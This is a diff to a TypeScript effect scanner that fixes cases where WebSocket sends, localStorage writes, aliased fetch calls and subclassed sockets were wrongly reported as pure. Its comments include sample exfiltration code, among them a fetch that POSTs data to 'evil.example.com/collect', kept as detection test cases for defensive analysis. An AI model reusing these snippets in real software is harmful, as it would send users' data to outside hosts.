+          // interface with a different member list, and sharing a predicate between them would be a name
+          // collision dressed up as a shared question.
+          // R114 — the `Console` timer members, the lib.dom twin of the `(node:)?console` κ rule, reading
+          // the SAME exported set for the same reason the `Performance` pair does. A project whose `lib`
+          // includes DOM but which has no `@types/node` resolves `console.time` into `lib.dom.d.ts`, where
+          // it is declared on `interface Console` — so without this arm the fix would have landed on one
+          // resolution path only, which is R109/R110's entire failure mode.
+          if ((parent === "DateConstructor" && name === "now")
+              || (parent === "Performance" && CLOCK_READING_PERFORMANCE_MEMBERS.test(name))
+              || (parent === "Console" && CLOCK_READING_CONSOLE_MEMBERS.test(name)))
             rec.direct.add("Clock");
           if (parent === "Math" && name === "random") rec.direct.add("Rand");
           if (ts.isNewExpression(node) && (node.arguments ?? []).length === 0
@@ -5471,6 +6266,21 @@ function visitCalls(node) {
               else rec.incomplete.add("Net");
             }
           }
+          // R130 — the WIRE verbs of an ALREADY-OPEN `WebSocket`/`EventSource`, which were silently pure
+          // in BOTH arms. The `new WebSocket(url)` branch below charges the CONNECT; nothing charged the
+          // bytes, so a function handed an open socket read PURE with no `invisible` and no `Unknown` —
+          // an omission, which under SPEC §2 rule 3 is a positive purity claim over an exfiltration
+          // primitive. MEASURED on PUBLISHED 0.34.0, in ISOLATION (no other Net call in the file):
+          //     export function exfil(w: WebSocket, s: string): void { w.send(s); }
+          //     lib.dom -> ABSENT from `functions`     all five policy forms -> exit 0
+          // Ground truth EXECUTED against a real 127.0.0.1 listener: the frame arrives, payload intact.
+          // This engine already charges `XMLHttpRequest.send` for exactly this operation eight lines up,
+          // and κ's whole-module `net` rule already charges `socket.write`/`socket.end` — so the gap was
+          // one API's spelling, not a decision. A USE-VERB: the endpoint was fixed at construction, so it
+          // must NOT mark `incomplete` (the XHR `send` note above) and its argument 0 must NOT be read as
+          // a host (NET_USE_VERBS at urlArgLiteral — arg0 is the payload).
+          if ((parent === "WebSocket" || parent === "EventSource") && WEB_WIRE_MEMBERS.test(name))
+            rec.direct.add("Net");
           // `navigator.sendBeacon(url, data)` — Net, and the one this set most needed. It exists to POST
           // data to a server on page-unload, it is what analytics and telemetry reach for, and it read
           // PURE: `deny Net` answered exit 0 over
@@ -5505,17 +6315,77 @@ function visitCalls(node) {
           if (parent === "Crypto" && (name === "getRandomValues" || name === "randomUUID")) {
             rec.direct.add("Rand");
           }
+          // Web Storage — `localStorage`/`sessionStorage`. THE SAME es-lib/@types-node SPLIT the `Crypto`
+          // line above exists for, and the half that was still open: @types/node's `web-globals/storage`
+          // is deliberately absent from `NODE_CORE_REVIEWED`, so under `types: ["node"]` with `lib` not
+          // including DOM the call fails closed as `Unknown[native:web-globals/storage.setItem]` and
+          // `deny Unknown` exits 1. Resolve the SAME LINE through lib.dom — which is what `lib: ["…","DOM"]`
+          // gives, and also what the DEFAULT `lib` for any ES target gives, so it is the common case, not
+          // the exotic one — and it landed on the conventionally-pure arm below with no branch of its own:
+          //     export function stash(secret: string) { localStorage.setItem("token", secret); }
+          //   lib.dom   →  functions: []            deny Unknown → exit 0     (silent under-report)
+          //   @types/node → Unknown[native:…]       deny Unknown → exit 1
+          // One line, two answers, selected by tsconfig. Ground-truthed by EXECUTION under a `Storage`
+          // shim: the write really happens. Converging on the fail-closed answer is the only direction
+          // that is sound in both configs.
+          //
+          // KEYED ON THE RESOLVED DECLARATION'S PARENT (`Storage`), NOT ON THE IDENTIFIER TEXT. Keying on
+          // the name `localStorage` would miss `window.localStorage`, `sessionStorage` (lib.dom declares
+          // BOTH as `: Storage`, so both fall out of this one predicate — measured, not assumed) and a
+          // `Storage`-typed parameter, and would fabricate on a user-defined binding called
+          // `localStorage`. Reaching this arm already proves the declaration is `typescript/lib/lib.*.d.ts`
+          // (`declModule`), so a project's own `class Storage` resolves `<local>` and is never charged.
+          //
+          // THE WHOLE INTERFACE, not a verb list: reads persist across sessions and origins just as writes
+          // do, and an unlisted member would be silently pure — the denylist direction, matching what the
+          // node floor already does for every member of that file. `Unknown` rather than `Fs` because the
+          // backing store is not modelled (a browser's is not a filesystem, node's is a file); this is the
+          // node arm's answer, verbatim, which is the point. Reason names the interface actually resolved
+          // — `native:Storage.setItem` — rather than borrowing the node arm's file path, which no DOM-only
+          // project has; both map to reason class `native`, so `Unknown[native]` gates identically.
+          // NOT a claim about the whole DOM surface: `StorageManager.getDirectory` (OPFS), `IDBFactory`,
+          // `caches` and the `localStorage.x = v` INDEX-SIGNATURE spelling are untouched and still pure —
+          // the last of those is pure under @types/node too, so it is not part of this split.
+          if (parent === "Storage") {
+            rec.direct.add("Unknown");
+            rec.why.add(`native:Storage.${name}`);
+          }
           // `new EventSource(url)` / `new WebSocket(url)`: the constructor is declared on an anonymous
           // `declare var` object type (symbol `__type`, no usable parent name), but reaching the es-lib
           // branch already proves the ctor resolved to lib.dom (not a project class shadowing the name),
           // so the constructed identifier is the real browser global.
+          // R130 — …AND THROUGH `extends`, which is a third spelling neither of the two above can see.
+          // `super(url)` is a CallExpression, so the `isNewExpression` gate below is false; its resolved
+          // declaration is the BASE's construct signature, whose `.name` and whose parent type literal's
+          // name are both empty, so the `parent`/`name` branches above see `""` too. FOUND ON REAL CODE
+          // by re-scanning a corpus under a node-style tsconfig — crossws `src/websocket/bun.ts`:
+          //     const _WebSocket = globalThis.WebSocket;
+          //     class BunWebSocket extends _WebSocket {
+          //       constructor(url, protocols, options) { super(url, protocols); … } }
+          // which dials `url`, and whose constructor candor reported with NO effect at all. The class name
+          // comes from the DECLARATION (`declaredCtorClassName`), never from the `extends` expression:
+          // that expression is an alias here, and reaching this arm already proves the base resolved to
+          // lib.dom rather than to a project class of the same name.
+          if (isSuperCall(node) && CONNECTING_WEB_CTORS.test(declaredCtorClassName(decl))) {
+            rec.direct.add("Net");
+            const u = (node.arguments ?? [])[0];
+            const lit = u && ts.isStringLiteralLike(u)
+              ? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
+            const h = lit ? hostLiteral(lit) : null;
+            if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
+            else rec.incomplete.add("Net");
+          }
           if (ts.isNewExpression(node)) {
             // …through an alias too: `const W = WebSocket; new W(url)` reads a ctor named "W".
             // Same defect as the call path, one node type over — hence the SHARED unwrap.
             const unCtor = unaliasGlobal(node.expression);
             const ctorName = unCtor.node.getText();
             if (unCtor.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
-            if (ctorName === "EventSource" || ctorName === "WebSocket") {
+            // R130 — the SHARED constant, not a literal pair repeated here. The identical two names are
+            // now κ rules for `undici-types` (the package `@types/node` re-exports these globals from),
+            // and this arm and that table answering the same question from two hand-kept lists is the
+            // single degree of freedom that produced R109, R110 and R111. Measurements at the constant.
+            if (CONNECTING_WEB_CTORS.test(ctorName)) {
               rec.direct.add("Net");
               // The URL is argument 0 of both constructors — see the XHR note above for the measurement.
               const u = (node.arguments ?? [])[0];
@@ -5539,6 +6409,11 @@ function visitCalls(node) {
           // needs no entry here. Inert ctors (Agent/Server/Socket/TLSSocket/Http2Server*/message shells)
           // still synthesize "new" and stay pure.
           const CONNECTING_CTORS = new Set(["ClientRequest"]);
+          // R130 — `new WebSocket(url)` / `new EventSource(url)` are the same shape as `ClientRequest`:
+          // the connection is opened BY the construction, so the blanket `new`-exemption would convert a
+          // real Net source into pure. Read from the SHARED constant the es-lib arm reads, so the two
+          // resolution paths cannot be widened separately.
+          const isConnectingCtor = (n) => CONNECTING_CTORS.has(n) || CONNECTING_WEB_CTORS.test(n);
           // Host-ESTABLISHING Net call names (the masking-fix allowlist): a Net call by one of these whose
           // host is not a captured literal leaves the host invisible. Excludes use-verbs (write/end/send on
           // a connected socket). `post/put/patch/delete/head/options` cover the axios/got/undici tier whose
@@ -5569,8 +6444,10 @@ function visitCalls(node) {
             "fchmodSync", "fchown", "fchownSync", "futimes", "futimesSync", "fstat", "fstatSync",
             "readv", "readvSync", "writev", "writevSync"]);
           const EXEC_USE_VERBS = new Set(["kill", "send", "disconnect", "ref", "unref"]);
+          // `ctorRuleName` (below) rather than `ctorClassName`: a connecting ctor reached through a local
+          // alias must still fail the surface closed on a runtime URL. Evaluated at call time, after it.
           const netEstablishing = (member) =>
-            CONNECTING_CTORS.has(ctorClassName) || NET_ESTABLISHING.has(member)
+            isConnectingCtor(ctorRuleName) || NET_ESTABLISHING.has(member)
             || (/^(node:)?dgram$/.test(mod) && member === "send");
           // ⟨0.32⟩ THE CLASS BEING CONSTRUCTED, TAKEN FROM THE `new` EXPRESSION rather than from the
           // resolved constructor. A class that declares no constructor of its own INHERITS one, and
@@ -5614,8 +6491,31 @@ function visitCalls(node) {
                 && p.name && ts.isIdentifier(p.name)) return p.name.getText();
             return "";
           };
-          const member = isConstruction
-            ? (CONNECTING_CTORS.has(ctorClassName) ? ctorClassName : "new")
+          // R130 — THE NAME A CONNECTING CONSTRUCTION IS JUDGED BY, when the `new` expression's own
+          // identifier is a LOCAL ALIAS. `ctorClassName` is read from the call site (⟨0.32⟩, for a good
+          // reason: an inherited constructor lives in the base's file), so `const W = WebSocket; new W(u)`
+          // names the class "W" and no rule can match — the es-lib arm handles that spelling with
+          // `unaliasGlobal` and this arm had nothing. The authority for a construction's identity is the
+          // `export declare const X: { new (…): X }` binding the construct signature sits inside, so walk
+          // to it: ConstructSignature -> TypeLiteral -> VariableDeclaration. Consulted ONLY when the
+          // call-site name is not already a connecting ctor, and its answer is used only when it IS one —
+          // so it can add a name to the connecting set and can never take one away, and `new Headers()`
+          // (binding name "Headers", no rule) is unchanged. A `class`-declared ctor (`ClientRequest`) has
+          // a ClassDeclaration parent, not a TypeLiteral, and never reaches this.
+          //
+          // …AND THE SAME WALK ANSWERS THE `extends` SPELLING, which is neither a NewExpression nor a
+          // named member. `class BunWebSocket extends globalThis.WebSocket { constructor(u){super(u)} }`
+          // (crossws, real code) resolves `super(u)` to `undici-types`' construct signature: `member`
+          // came out `""`, no rule could match, and a constructor that DIALS A URL reported nothing.
+          // `isConstruction` is deliberately NOT widened to include super-calls — that would re-key every
+          // `super()` into an external base onto the token `new` and hand the whole-module κ rules and the
+          // node-core floor a call they have never been asked about. The name is used ONLY when it is a
+          // connecting ctor, so this can add nothing else.
+          const ctorRuleName = !(isConstruction || isSuperCall(node)) || isConnectingCtor(ctorClassName)
+            ? ctorClassName
+            : (isConnectingCtor(declaredCtorClassName(decl)) ? declaredCtorClassName(decl) : ctorClassName);
+          const member = isConnectingCtor(ctorRuleName) ? ctorRuleName
+            : isConstruction ? "new"
             : (decl.name ? decl.name.getText() : bindingName(decl));
           // ⟨0.32⟩ THE MODULE κ IS READ AGAINST — `mod` for everything except a construction whose
           // constructor came from somewhere else, which is re-keyed onto the CLASS's own module.
@@ -5647,6 +6547,23 @@ function visitCalls(node) {
           // node_modules-installed dependency of the same name is untouched: `isOwnPackageDecl` excludes
           // `node_modules/` outright, before the name is ever compared.
           let eff = isOwnPackageDecl(decl) ? null : kappa(kMod, member); // (CLASSIFY)
+          // R114 — AND WHEN κ WAS ASKED ABOUT THE EMPTY TOKEN, ASK AGAIN WITH THE NAME AT THE CALL SITE.
+          // A member declared as a CALL SIGNATURE on its own interface — `hrtime: HRTime`,
+          // `memoryUsage: MemoryUsageFn` in `process.d.ts` — resolves to a declaration with no `.name`,
+          // so `member` is `""`. Two comments in this family already say so ("`\"\"` is the token a CALL
+          // SIGNATURE on an interface resolves to"), and the floor lists `""` as reviewed-pure — which is
+          // how `import * as p from "node:process"; p.hrtime()` stayed SILENT while the identical global
+          // `process.hrtime()` charged Clock. Same one-line-two-answers shape as R109/R110, reached
+          // through the TOKEN rather than through the tsconfig.
+          //
+          // ONLY WHEN THE FIRST LOOKUP ANSWERED NOTHING, which makes this strictly ADDITIVE: it cannot
+          // move a call off an effect a rule already gave it, and in particular it cannot walk a
+          // net-cluster call into that module's exemption list — the direction that would hide something.
+          // `memoryUsage`, `resourceUsage`, `cpuUsage` and `require` resolve the same way and are
+          // unaffected: no κ rule names them, and the floor below is still asked with the original `""`.
+          if (!eff && member === "" && !isOwnPackageDecl(decl)
+              && ts.isPropertyAccessExpression(node.expression) && node.expression.name)
+            eff = kappa(kMod, node.expression.name.text);
           // process.stdout/stderr/stdin are typed `tty.WriteStream`, which EXTENDS `net.Socket`, so a
           // `.write()`/`.end()` on them resolves to `net.Socket.write` and the whole-module Net rule
           // paints it Net. But a console write to fd 0/1/2 is TTY/console I/O, NOT network — there is no
@@ -5870,10 +6787,20 @@ function visitCalls(node) {
             // already ran its own chained-dep lookup above (`inheritedFromDep`, with its constructor/
             // owner-prefix spelling), so it hands the tail an already-external, already-unmatched `decl`
             // rather than re-deriving the join.
-            disclosureTail(rec, decl, pkg, file);
+            disclosureTail(rec, decl, pkg, file, member);
           }
         }
       }
+      // ⟨R103⟩ …and the slot's own answer, JOINED to whatever the resolution above concluded — the same
+      // statement whether the initializer resolved to a local unit, to a dependency, or to a κ-classified
+      // package member. It does NOT fire when `decl` was null, and that is the guard above, not an
+      // oversight: an unresolvable call already lands on `Unknown` with its own `callback:` reason, so
+      // firing here would add nothing to the report while making the hit counter count rows that did not
+      // change — and a hit count that is not a count of CHANGES cannot price the fix.
+      if (slotCallee) {
+        rec.direct.add("Unknown");
+        rec.why.add(`callback:${slotCallee}`); // a function VALUE read out of a writable slot — canonical `callback:`
+      }
       // the callee EXPRESSION being a plain identifier of function-typed parameter/field:
       // a PARAMETER defers to callback-flow resolution (below) — if every call site of this
       // function passes a NAMED local unit, the invocation resolves to those targets; otherwise
@@ -5981,7 +6908,16 @@ function visitCalls(node) {
       return null;
     };
     const pmp = processMemberPath();
-    if (pmp === "hrtime" || pmp === "hrtime.bigint") geff = "Clock"; // a monotonic clock read
+    // R114 — THE MEMBER SET IS THE SHARED CONSTANT, read on the LAST segment of the path. This arm and
+    // the `(node:)?process` κ rule in scan-core.mjs are two implementations of one question, and before
+    // this they DISAGREED: this arm charged `process.hrtime.bigint()` Clock while the κ floor listed
+    // `hrtime`/`bigint` as reviewed-pure, so the global spelling answered `["Clock"]` and the imported
+    // spelling answered silent-pure — one line, two answers, selected by how you reach `process`.
+    // Importing the set is what makes their agreement mean something (R111's fix shape, applied to the
+    // pair that was actually inconsistent rather than to the one that happened to be noticed).
+    // The last segment is the token κ is asked about: `hrtime` -> "hrtime", `hrtime.bigint` -> "bigint",
+    // `uptime` -> "uptime". `send` is NOT in the set and keeps its own Ipc line below.
+    if (pmp && CLOCK_READING_PROCESS_MEMBERS.test(pmp.split(".").pop())) geff = "Clock"; // a monotonic clock read
     else if (pmp === "send") geff = "Ipc";                          // the child↔parent IPC channel
     else if (ts.isIdentifier(callee) && importedFromNetPkg(callee))
       geff = "Net"; // a bare call to an HTTP-client default/named import (installed → sig resolves here) — #13
@@ -6048,6 +6984,35 @@ function visitCalls(node) {
     // `eval` global-qualifier handling (a runtime global a project would not shadow).
     else if (ctext === "globalThis.fetch" || ctext === "window.fetch" || ctext === "self.fetch")
       geff = "Net";
+    // ⟨R95⟩ …AND EVERY OTHER SPELLING, BY ASKING THE RESOLVED DECLARATION INSTEAD OF THE CALLEE.
+    //
+    // Every arm above keys on the CALLEE's own identity — its node text, or its symbol's declaration
+    // file. That question has now been wrong in five spellings, all MEASURED silent at 0b360d4 and all
+    // five confirmed to reach the network by executing them against a localhost listener:
+    //
+    //     const { fetch } = globalThis;      fetch(u)      const { fetch: f } = globalThis;  f(u)
+    //     const g = globalThis;              g.fetch(u)    (0, fetch)(u)
+    //     const a = [fetch];                 a[0](u)
+    //
+    // Each one binds `fetch` to a declaration INSIDE a project file — a BindingElement, a
+    // VariableDeclaration — which is precisely what the shadow guard above reads as "the project's own
+    // fetch", so the guard withheld Net. `deny Net`, `deny Unknown`, `deny Net Unknown`, `pure`, and
+    // both scoped forms all answered exit 0, `policy ✓`, 0 effectful functions over
+    //     const { fetch } = globalThis;
+    //     await fetch("https://evil.example.com/collect", { method: "POST", body: data });
+    //
+    // `crypto` does NOT have this hole, and the difference is the MECHANISM, not the effect: its arms
+    // key on the RESOLVED DECLARATION (the es-lib `parent === "Crypto"` arm below, and κ's
+    // `web-globals/crypto` rule), so a destructured `crypto` still resolves to `Crypto.randomUUID` and
+    // is charged. Converge on that rather than patching the identity gate a sixth time — brief §G, ask
+    // the authority: the checker already knows which function this call reaches, and it answers the
+    // same for all five spellings above (verified: one declaration, `web-globals/fetch.d.ts:23`).
+    //
+    // ADDITIVE, and last in the chain on purpose. Every arm above keeps priority, so no call that is
+    // Net today can stop being Net and no host capture below changes for a call that already matched
+    // (the previous ts fix in this vein REPLACED a resolution where it should have unioned, and cost
+    // hono's `hc` its `Clock`). This arm can only ADD Net to calls that are reported PURE today.
+    else if (resolvedIsHostFetch(node)) geff = "Net";
     // An alias chain this helper stopped following is an UNRESOLVED callee, not a pure one.
     if (un.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
     if (geff) {
@@ -6156,7 +7121,7 @@ function visitCalls(node) {
     if (callee.getText().replace(/\s+/g, "") === "Object.assign") {
       const owner = enclosing(node);
       for (const src of (node.arguments ?? []).slice(1)) {
-        enumerateGetters(owner, checker.getTypeAtLocation(src));
+        enumerateGetters(owner, checker.getTypeAtLocation(src), src);
       }
     }
   }
@@ -6229,7 +7194,7 @@ function visitCalls(node) {
     if (owner) {
       const recvType = checker.getTypeAtLocation(node.initializer);
       for (const el of node.name.elements) {
-        if (el.dotDotDotToken) { enumerateGetters(owner, recvType); continue; } // `...rest` copies every
+        if (el.dotDotDotToken) { enumerateGetters(owner, recvType, node.initializer); continue; } // `...rest` copies every
         // remaining prop → invokes every (remaining) getter; enumerate all (the bound ones double-handle).
         const key = el.propertyName ?? el.name; // `{prop}` shorthand, or `{prop: alias}`
         const keyName = ts.isIdentifier(key) ? key.text
@@ -6252,7 +7217,7 @@ function visitCalls(node) {
       iterExpr = node.expression; // {...bag} — object spread is NOT iteration (copies own enumerable
       // props, no [Symbol.iterator]); wellKnownSymbolMember finds none and edges nothing for iteration.
       // But the copy DOES invoke each source getter — enumerate them (the silent-pure object-spread hole).
-      enumerateGetters(enclosing(node), checker.getTypeAtLocation(node.expression));
+      enumerateGetters(enclosing(node), checker.getTypeAtLocation(node.expression), node.expression);
     }
     else if (ts.isVariableDeclaration(node) && ts.isArrayBindingPattern(node.name) && node.initializer)
       iterExpr = node.initializer; // const [a] = bag
@@ -7243,9 +8208,22 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
   // the candor-scan `lt.count > 1` / candor-swift ownersByTail guards.
   // The union arms, normalised to [InterfaceDeclaration, implementing class NAMES]: the in-scan CHA
   // universe, plus the same relation read out of a PUBLISHED package's own typings (see below).
+  //
+  // ⟨CARDINAL SIN FIX audit, PART 87 follow-up, 2026-09-01⟩ `interfaceImpls` (since PART 87) also holds
+  // STRUCTURAL implementors — an ObjectLiteralExpression/ClassExpression/bound-ref target has no `.name`
+  // at all, so `.filter(Boolean)` drops it here. This union is fundamentally NAME-keyed (a cross-package
+  // consumer resolves `pkg#Iface.member` against a class NAME in the dependency's own source, and
+  // `localEffs` below is keyed `${className}.${member}` — an anonymous implementor's effects have no
+  // name to be looked up under even if kept in the array). Rather than silently union only the implementors
+  // that happen to have a name — which reads "pure across all impls" when a dropped, unnamed one might
+  // not be — record whether any implementor was dropped, so the emission loop below can force the SAME
+  // honest-Unknown widening it already applies when CHA_FANOUT_LIMIT is exceeded, instead of a narrower
+  // claim than the evidence supports.
   const unionArms = [];
-  for (const [ifaceDecl, implClasses] of interfaceImpls)
-    unionArms.push([ifaceDecl, implClasses.map((c) => c.name?.text).filter(Boolean)]);
+  for (const [ifaceDecl, implClasses] of interfaceImpls) {
+    const names = implClasses.map((c) => c.name?.text).filter(Boolean);
+    unionArms.push([ifaceDecl, names, names.length < implClasses.length]);
+  }
   const inScanClassesByName = new Map(); // iface NAME -> every class the in-scan arms register under it
   for (const [d, cls] of unionArms) {
     const n = d.name?.text;
@@ -7309,9 +8287,15 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
     const n = ifaceDecl.name?.text;
     if (n) ifaceNameCounts.set(n, (ifaceNameCounts.get(n) ?? 0) + 1);
   }
-  for (const [ifaceDecl, implClasses] of unionArms) {
+  for (const [ifaceDecl, implClasses, hadUnnamed] of unionArms) {
     const ifaceName = ifaceDecl.name?.text;
-    if (!ifaceName || !implClasses.length) continue;
+    // ⟨CARDINAL SIN FIX, structural-implementor gap⟩ `!implClasses.length` used to skip the arm outright
+    // — correct when there are genuinely zero implementors, but an interface implemented ONLY
+    // structurally (every implementor unnamed, `implClasses` empty, `hadUnnamed` true) would silently
+    // publish NO union entry at all, which is a purity claim (SPEC §2 rule 3) this evidence does not
+    // support. `hadUnnamed` keeps the arm alive for that case so the `broad` forcing below can widen it
+    // to Unknown instead of the arm vanishing before `broad` is ever computed.
+    if (!ifaceName || (!implClasses.length && !hadUnnamed)) continue;
     // Never guess which `I` a name means: two declarations of it, or a census that cannot prove there is
     // only one, are the same evidential position and take the same answer.
     if (ifaceNameCounts.get(ifaceName) > 1 || typings.truncated) continue;
@@ -7330,7 +8314,9 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
     // key. What silence would cost is this report's own honesty — the producer's `deny E
     // Unknown[dispatch]`, any consumer without half 1's conjuncts, and the entry that is read as data
     // rather than joined. The named tests that fail on that mutation are the producer-side three.
-    const broad = implClasses.length > CHA_FANOUT_LIMIT;
+    // `hadUnnamed` widens the same way: a structural implementor this union cannot name is exactly as
+    // unaccountable as the (CHA_FANOUT_LIMIT + 1)th named one.
+    const broad = implClasses.length > CHA_FANOUT_LIMIT || hadUnnamed;
 
     for (const member of ifaceDecl.members ?? []) {
       // Both spellings of an interface method (see the in-scan site): `run(): void` and
@@ -8270,8 +9256,13 @@ if (unlistedSeen.size > 0) {
   const top = uncoveredLedger; // ⟨0.15 staged⟩ the shared sorted ledger — same names/counts as envelope `coverage`
   const shown = top.slice(0, 8).map(([p, n]) => `${p} (${n} call${n === 1 ? "" : "s"})`).join(", ");
   const more = top.length > 8 ? ` + ${top.length - 8} more` : "";
-  console.error(`candor-ts: candor's classifier doesn't cover ${top.length} package${top.length === 1 ? "" : "s"} this code calls into — `
-    + `their effects are INVISIBLE to the scan (absent from the report, NOT a claim they're pure): ${shown}${more}`);
+  // ⟨R137⟩ "or answers for only part of its surface": the ledger counts CALLS κ did not cover, and a
+  // package may be partly classified (a member-precise rule) and still owe an answer for the rest.
+  // Saying only "doesn't cover this package" would be the same package-granular overstatement that
+  // switched the ledger off in the first place, in the opposite direction.
+  console.error(`candor-ts: candor's classifier doesn't cover ${top.length} package${top.length === 1 ? "" : "s"} this code calls into `
+    + `(or answers for only part of ${top.length === 1 ? "its" : "their"} surface) — the calls below are INVISIBLE `
+    + `to the scan (absent from the report, NOT a claim they're pure): ${shown}${more}`);
   // SCAN-COMPLETENESS NUDGE. A scan that sees the app but none of its dependencies leaves those
   // dependencies' effects INVISIBLE (the ledger above) — a MISSING INPUT, not a precision defect, and the
   // two read identically in the report. Measured on the JVM engine against a real 18.7k-fn webapp: scanned
@@ -8313,8 +9304,8 @@ if (!wantJson) {
   // classifier does not cover (already enumerated above) beats a tsconfig guess, and a tsconfig this run
   // READ rules the tsconfig guess out entirely.
   const unresolvedCause = unlistedSeen.size > 0
-    ? `the ${uncoveredLedger.length} package${uncoveredLedger.length === 1 ? "" : "s"} named above are not `
-      + `covered by the classifier, so calls into them resolve to Unknown`
+    ? `the calls into the ${uncoveredLedger.length} package${uncoveredLedger.length === 1 ? "" : "s"} named `
+      + `above are not covered by the classifier, so they resolve to Unknown`
     : (usedTsconfig
         ? `this scan read ${path.relative(rootDir, usedTsconfig) || path.basename(usedTsconfig)}, so the `
           + `cause is unresolvable imports rather than a missing tsconfig`